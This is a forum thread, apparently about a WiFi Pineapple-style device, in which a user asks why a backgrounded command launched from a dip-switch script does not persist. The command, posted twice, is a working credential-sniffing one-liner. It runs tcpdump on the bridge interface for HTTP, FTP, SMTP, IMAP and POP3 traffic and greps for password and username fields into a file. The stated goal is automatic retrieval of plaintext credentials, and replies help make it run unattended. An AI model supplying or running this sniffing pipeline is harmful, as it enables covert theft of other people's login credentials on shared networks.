trouble running stuff in background dip switches

[overwraith]

So I am having some trouble running a command in the background from a script that is called via a dip switch. Theoretically the ampersand '&' at the end of this command should run the command preceding it in the background. Unfortunately when I type the 'jobs' command when I log in there is no job to be found. Does anybody know more about this?

tcpdump port http or port ftp or port smtp or port imap or port pop3 -l -A -i br-lan | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' -B20 > /sd/plaintext_passwords.txt &

[Darren Kitchen]

Try piping that command to "at now"

e.g:

echo foobar > /tmp/test | at now

[overwraith]

So would you include the '&' at the end, between the pipe and the first segment, or not at all? I am still not having much luck with this command. It also still doesn't appear in the jobs list. I think ending the calling bash file may end any background tasks that use the '&' operator, but am unsure how to test. There should be some way to schedule automatic retrieval of plaintext credentials. Am still looking for solutions.

[wifi-stuff]

The 'jobs' command will only show you children of your current shell. Use 'ps' to see processes not started by your shell. Something like "ps wwwaux" should give you a good rundown.

What you probably want to do is make a script that has your complex command line in it, and then call that script from the dip switch config.

[fringes]

I believe Darren was suggesting something like this:

echo "tcpdump port http or port ftp or port smtp or port imap or port pop3 -l -A -i br-lan | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd
=|password=|pass:|user:|username:|password:|login:|pass |user ' -B20 > /tmp/plaintext_passwords.txt" | at now